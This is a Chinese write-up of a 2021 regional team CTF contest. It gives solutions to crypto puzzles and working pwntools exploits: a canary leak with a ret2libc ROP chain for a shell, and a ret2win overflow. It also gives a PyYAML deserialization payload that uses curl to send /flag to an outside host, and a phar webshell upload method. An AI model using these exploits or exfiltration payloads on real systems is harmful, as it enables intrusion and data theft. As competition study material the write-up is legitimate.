0%

2021年自治区第三届"玄盾杯"团队CTF

21年参加的自治区的第一场比赛,整场比赛都是团队赛,团队CTF加两场AWD,在第一场CTF小输不多后,在第二场AWD迎头赶上,第三场AWD继续小输一些。就在我们欢喜的等待玄盾杯的第一个冠军要到手了之后,惊奇的发现裁判的最终成绩,我们屈居第二,并且在我们问成绩的时候,裁判笑着说继续努力。。。

然而在每场比赛结束后不截图积分榜的CTFer不是好厨子,我们每场比赛的结果都截了图,再即使被扣掉第二场多攻击了一轮的分之后,我们依然是第一名,在主办方和我们的注视下,裁判无奈的宣布我们是第一。。。

本场比赛的最宝贵经验就是,在比赛结束时一定要截图,另外要熟练掌握四位数以内的加减法。

Crypto

RSA

n= 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e= 59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
m=???

比赛的时候,用yafu是分解除了三个因数,但是写wp的时候,yafu只能分出来2个。。。然后发现可以用sage进行分解,不过时间有点久,得四五分钟的样子

image-20210926101608134

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
import gmpy2,libnum
e= 59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
p = 782758164865345954251810941
q= 810971978554706690040814093
r = 1108609086364627583447802163
n = p*q*r
phin = (p-1)*(q-1)*(r-1)
d = gmpy2.invert(e,phin)
m = pow(c,d,n)
print(m)
flag = libnum.n2s(m)
print(flag)

image-20210926101722227

peigenya

题目是一个word,打开移开图片之后,ctrl+a选中全部,找到隐藏的字符,发现了密文

image-20210926102051464

比赛的时候以为这个就是答案,然而并不是,后来又以为是提示,找了半天也没找到密文,后来才知道,这个就是密文。

其中大写对应A,小写对应B

exp

1
2
3
4
5
6
7
8
9
import string
c = "NI_HAo_WO_SHI_PEI_gEN_mi_Ma_Ya_n_HAo_Wo_sHI_Pe_G_Mi_MA_Ya"
bacon_c = ""
for i in c:
if i.isupper():
bacon_c += "A"
elif i.islower():
bacon_c += "B"
print(bacon_c)

image-20210926103232351

base

N次base64加密

exp

1
2
3
4
5
6
7
import base64
with open("./c.txt") as f:
c = f.read()
res = base64.b64decode(c)
while b"flag" not in res:
res = base64.b64decode(res)
print(res)

image-20210926103640318

比赛的时候,没写判断,觉得只要多此解码后得到包含flag的字符串,就会报错推出,结果写wp的时候发现,flag字符串竟然可以在进行好几次的base64decode。。。。所以最终exp写了判断是否包含flag

AES | 待补充

U2FsdGVkX18YBMRq9g4RbzqClPRa59epJfOToDypjuRCmBZGILUxI+E65q03DdkPyTa48xSOQNSK5Ow0ZpOAf8yoFx5OCXZI/VADW4tPYno=

AES加密

Misc

PNG

Reverse

EasyRE

APK

map

PWN

PWN1

image-20211008170306045

栈保护、NX保护,所以需要栈开启了随机地址保护,并且没有办法注入shellcode

思路:

通过泄露pu

可以写入shellcode,所以最终的思路就是通过ROP链,写入shellcode然后getshell

0x0 找到rdi的ret地址

image-20210927122723194

可以看到,函数中调用了puts,并且show_data函数中,可以泄露出puts的真实地址,构造以下payload,其中overflow_offset通过ida_pro确定

1
overflow_offset+ p64(pop_rdi_ret) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(vul_func_addr)

image-20211009120111451

但是,因为程序开启了canary保护,所以,如果不能够猜到canary的值的话,程序会进行栈溢出检测,并且退出

image-20211009120225731

canary保护的具体原理

https://www.cnblogs.com/ttxs69/p/pwn_canary.html

image-20211009120404147

也就是说,所有的payload,都需要先将canary的值放进去,然后再进行rop构造。

可以看到下图,此程序执行时,栈底会有一个00结尾的随机数,这个就是canary的值,所以溢出时,需要将其加到payload中,现在就要考虑如何泄露出canary的值。

image-20211009120652981

泄露canary的思路

image-20211009122705021

本题目通过show_data函数的puts进行泄露,

image-20211011111413589

payload

1
payload = b'a'*(0x110- 0x10 + 8)#在前面选择输入内容长度时,长度为payload+1,用于覆盖canary的低位\x00

泄露出canary之后,需要泄露出puts的真实地址,根据前面找到的pop ret地址,构造payload

1
payload = overflow_offset + p64(canary_addr)+p64(0)+p64(pop_rdi_ret) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(vul_func_addr)

这个地方的p64(0)用于覆盖rbp的值,否则pop_rdi的地址会偏移到rbp中,导致无法ret后面的exp

image-20211011115904900

如果不覆盖rbp,pop_rdi_ret的值会在rbp中

image-20211011120042254

然后,此题给的libc是有问题的似乎,通过对比泄露出的system地址和puts等地址,以及程序运行时实际函数的地址,发现并不一致。

image-20211011120410695

通过运行给出的system函数的低位,在线找到libc库

image-20211011120510914

或者使用本地LibcSearcher进行查找,手动安装的LibcSearcher,需要把libc-database放到libcsearch安装的目录下,否则找不到相应的libc库。

然后成功在本机getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from LibcSearcher import *
from pwnlib.adb.adb import interactive
from pwnlib.gdb import binary
context (
log_level = "debug",
binary = "./pwn",
terminal = ['tmux','splitw','-h']
)
pop_rdi_ret = 0x04009f3
elf = context.binary
#puts_plt_address
puts_plt_addr = elf.plt['puts']
#puts_got_address
puts_got_addr = elf.got['puts']
#vul_funtion_addr
vul_func_addr= elf.symbols['show_data']

#libc = ELF('./libc-2.23.so')#题目给的libc是有问题的
#overflow offset
overflow_offset = b'a'*(0x110- 0x10 + 8)
log.success(f"puts_plt_addr:{hex(puts_plt_addr)}")
log.success(f"puts_got_addr:{hex(puts_got_addr)}")
log.success(f"vul_func_addr:{hex(vul_func_addr)}")
log.success(f"pop_rdi_ret:{hex(pop_rdi_ret)}")
DEBUG = 1
if DEBUG:
p = process()
#gdb.attach(p,"b *show_data")
else:
p = remote('192.168.56.229',29009)
#泄露canary地址,因为覆盖掉了canary的低位00,所以需要补全
payload = overflow_offset
p.sendlineafter("please input the choice\n","1")
p.sendlineafter("input the size:\n",str(len(payload)+1))
p.sendlineafter("input the content:\n",payload)
p.sendlineafter("please input the choice\n","0")
p.recvline()
canary_addr = u64(b'\x00' + p.recvline()[-8:-1])
log.success(f"canary_addr:{hex(canary_addr)}")
#泄露puts真实地址
payload = overflow_offset + p64(canary_addr)+p64(0) +p64(pop_rdi_ret) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(vul_func_addr)
print(payload)
p.sendlineafter("please input the choice\n","1")
p.sendlineafter("input the size:\n",str(len(payload)))
p.sendlineafter("input the content:\n",payload)
puts_real_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success(f"puts_real_addr:{hex(puts_real_addr)}")
#计算基址
libc = LibcSearcher('puts',puts_real_addr)
libc_base = puts_real_addr - libc.dump('puts')
#libc.address=puts_real_addr-libc.sym['puts']
#system_addr
system_addr = libc_base + libc.dump('system')
#system_addr = libc.symbols['system']
#bin_sh_addr
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
#bin_sh_addr = next(libc.search(b"/bin/sh"))
#getshell
payload = overflow_offset + p64(canary_addr)+p64(0)+ p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
log.success(f"system_addr:{hex(system_addr)}")
log.success(f"bin_sh_addr:{hex(bin_sh_addr)}")
p.sendlineafter("please input the choice\n","1")
p.sendlineafter("input the size:\n",str(len(payload)))
p.sendlineafter("input the content:\n",payload)
p.interactive()

但是在虚拟机docker的pwn环境中,不知道何故,泄露出来的canary有问题,导致程序因为栈溢出而退出。。。。

PWN2

执行pwn程序,发现有个小游戏

image-20210926104222470

查看ida pro发现main函数中,调用了game函数

image-20210926104153186

查看game函数,发现完成100次加法计算后,跳到27行,输入名字,而输入的参数的长度是0x30,但是scanf没有限制读取的串长度,所以存在溢出。

image-20210926104340400

题目存在get_flag的后门函数,直接可以getshell,只需要在输入名字的地方,将输入内容覆盖掉game函数return时候,栈中存的main函数地址,就可以实现return到get_flag函数中。

如下图,如果输入正常的字符,game函数执行到ret时,栈顶时main函数的地址

image-20211008181234594

如果输入溢出长度的字符,并加上payload,栈顶就是payload的地址

image-20211008181153707

image-20210926104521939

exp利用到了去年一道题目的exp,计算1000次加减乘除

但是发现,在wsl本地调试的时候,无法pwn成功(Ubuntu-20.04的虚拟机也不行。。。)

==Ubuntu18.04及以上的栈对齐问题==

上面的exp在wsl和Ubuntu20.04的虚拟机上都没有办法使用,当时通过socat查看靶机的debug信息的时候,发现wsl和虚拟机上在最后的响应exp的时候,发现似乎数据与正常的kali差了8。

今天看了郝大神发来的一个截图,知道了所谓的栈对齐问题,即在ubuntu18.04及以上,system调用的地址,必须是16的整数倍,即0xabcd0类似的地址,而上述exp,在wsl中,system调用的地址,并不是16的整数倍,即没有16对齐,如下图所示

image-20210928173923971

所以,即使ret到了get_flag函数,在system函数调用”/bin/sh”的时候,由于没有栈对齐,导致没有办法执行shell

既然需要对齐,只需要把payload长度再添加8即可,但是如果只是单纯添加8位的数据,会导致溢出的时候不能够返回到正确的get_flag函数地址,所以需要添加一个ret的地址,可以考虑直接用get_flag函数的ret地址,或用ROPgadget获取rdi的ret地址,然后添加到payload中即可

image-20210928174942366

最后的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context (
log_level = "debug",
binary = "./pwn",
terminal = ['tmux','splitw','-h']
)
e = context.binary
get_flag = e.symbols['get_flag']
#ret_addr = e.symbols['ret']
#print(ret_addr)
DEBUG = 1
if DEBUG:
p = process()
gdb.attach(p,"b *game+269\n b *game+274\n")
else:
p = remote('192.168.56.224',12345)
p.sendlineafter("3.exit\n","1")
for i in range(100):
recv = bytes.decode(p.readuntil("="),'utf-8')
res = eval(recv.split("=")[0])
p.sendline(str(res))
payload = b'a'*(0x30+8)+p64(0x400b03)+p64(get_flag)
p.sendlineafter("you are win,give me your name ",payload)
p.interactive()

栈平衡,成功getshell

image-20210928174856256

2021.10.3日更新,前几天将wsl换成了ubuntu20.04,结果发现上面的exp中,rdi ret地址加到payload中会有问题,然后直接换一个ret地址,发现成功getshell。

PWN3

Web

FlaskShop

比赛的时候,因为可以用互联网,所以用题目名称搜了一下,发现这个题目是比赛的原题,总共有三个漏洞

https://www.zhaoj.in/read-5525.html

但是题目修复了命令执行和SSTI,只剩一个upload的地方,可能存在yaml反序列化。

yaml发序列化是pyyaml库的漏洞,漏洞只存在<pyyaml5.1中

image-20211005110949687

可以看到,命令执行成功后,会返回0

image-20211005111117568

执行失败会返回其他值。

由于页面不会回显任何内容,尝试进行bash反弹shell,失败。

在纠结是不是需要盲注的时候,发现此前做过的题目帮帮小红花,盲注的payload只会回显0,在一筹莫展的时候,想起来,可以通过curl外带啊。

最终的payload

1
!!python/object/apply:os.system ["curl http://192.168.56.229:8000/`cat /flag`"]

image-20211005111938922

复现是通过本地环境,将exp放到靶机上直接执行。

1
2
3
4
import yaml,os
with open("./1.yml")as f:
serialize_obj = f.read()
yaml.load(serialize_obj)

dabalengba

inc_up

原题8

首先,include不加php后缀;

其次,上传通过把webshell压缩后修改为图片进行上传;

最后,通过phar协议读取压缩包图片中的webshell来实现getshell